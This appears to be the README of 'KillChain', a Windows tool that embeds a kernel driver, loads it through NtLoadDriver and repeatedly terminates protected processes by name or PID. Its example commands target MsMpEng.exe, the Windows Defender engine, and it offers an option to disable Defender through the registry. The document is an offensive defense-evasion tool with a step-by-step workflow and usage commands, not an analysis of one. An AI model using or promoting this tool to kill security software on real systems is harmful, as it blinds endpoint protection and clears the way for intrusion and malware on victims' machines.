KillChain/
??? KillChain.cpp        Entry point, CLI argument parsing, main termination loop
??? LoadDriver.h         Driver extraction, service registration, NtLoadDriver/NtUnloadDriver logic
??? Logger.h             Thread-safe console/file logging with color-coded output
??? driverBytes.h        Embedded driver binary (raw byte array)

ProcessMonitorDriver.sys  (embedded inside the executable)
??? Exposes IOCTL_KILL_PROCESS (0xB822200C)  terminates a target process by PID

1. Parse CLI arguments
2. Extract embedded .sys ? %TEMP%\EmbeddedDriverService.sys
3. Create registry service key + register via SCM
4. Load driver into kernel via NtLoadDriver (requires SeLoadDriverPrivilege)
5. Open device handle: \\.\STProcessMonitorDriver
6. Loop (up to 360 seconds):
   a. Resolve PID by name on every iteration (if --name was used)
   b. Send IOCTL_KILL_PROCESS with the target PID
   c. After 2 successful kills, optionally disable Windows Defender via registry
7. Close device handle; optionally run --uninstall-driver cleanup

KillChain.exe [options]

Options:
  --pid <PID>            Terminate process by PID
  --name <ProcessName>   Terminate process by executable name
  --disable-defender     Also disable Windows Defender via registry
  --log-level <0-3>      Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)
  --output <file>        Save log output to file
  --uninstall-driver     Unload driver, delete service and driver file
  --help                 Show this help

REM Terminate a protected process by name
KillChain.exe --name MsMpEng.exe

REM Terminate by PID with verbose logging written to a file
KillChain.exe --pid 1234 --log-level 2 --output log.txt

REM Kill a process and disable Windows Defender afterwards
KillChain.exe --name notepad.exe --disable-defender

REM Clean up the driver after testing
KillChain.exe --uninstall-driver